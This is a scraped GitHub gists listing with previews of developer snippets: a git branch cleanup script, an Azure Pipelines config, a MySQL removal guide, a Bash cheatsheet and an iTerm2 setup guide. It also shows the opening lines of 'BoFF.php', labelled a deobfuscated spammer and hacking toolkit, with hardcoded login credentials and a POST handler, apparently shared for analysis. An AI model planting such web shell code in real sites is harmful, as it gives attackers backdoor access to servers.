Skip to content

Instantly share code, notes, and snippets.

View ddubson's full-sized avatar
🇺🇦

Dmitriy Dubson ddubson

🇺🇦
View GitHub Profile
@aloverso
aloverso / deleteMergedGitBranches.sh
Created May 31, 2019 16:48
Delete merged git branches
#!/usr/bin/env bash
git checkout master
git fetch -p
echo ""
echo "THIS SCRIPT WILL DELETE THESE BRANCHES:"
echo "---------------------------------------"
git branch --merged master | grep -v "\*"
echo ""
@Damovisa
Damovisa / azure-pipelines.yml
Created October 10, 2018 23:56
Azure Pipelines YML for ASP.NET Core
# ASP.NET Core
# Build and test ASP.NET Core projects targeting .NET Core.
# Add steps that run tests, create a NuGet package, deploy, and more:
# https://docs.microsoft.com/azure/devops/pipelines/languages/dotnet-core
pool:
vmImage: 'Ubuntu 16.04'
variables:
buildConfiguration: 'Release'
@vitorbritto
vitorbritto / rm_mysql.md
Last active June 15, 2024 05:21
Remove MySQL completely from Mac OSX

Remove MySQL completely

  1. Open the Terminal

  2. Use mysqldump to backup your databases

  3. Check for MySQL processes with: ps -ax | grep mysql

  4. Stop and kill any MySQL processes

  5. Analyze MySQL on HomeBrew:

    brew remove mysql
    
@LeCoupa
LeCoupa / bash-cheatsheet.sh
Last active May 27, 2024 20:46
Bash CheatSheet for UNIX Systems --> UPDATED VERSION --> https://github.com/LeCoupa/awesome-cheatsheets
#!/bin/bash
#####################################################
# Name: Bash CheatSheet for Mac OSX
#
# A little overlook of the Bash basics
#
# Usage:
#
# Author: J. Le Coupanec
# Date: 2014/11/04
@tclancy
tclancy / BoFF.php
Created May 16, 2014 13:14
Deobfuscated spammer/ hacking toolkit (BoFF.php)
<?php
$uselogin = 1;
$user = 'sfnsaw';
$pass = 'mium';
if($_POST['id']== 'logout')
{
Logout();
}
if($_POST['id'] == 100)
{
@kevin-smets
kevin-smets / iterm2-solarized.md
Last active June 16, 2024 10:16
iTerm2 + Oh My Zsh + Solarized color scheme + Source Code Pro Powerline + Font Awesome + [Powerlevel10k] - (macOS)

Default

Default

Powerlevel10k

Powerlevel10k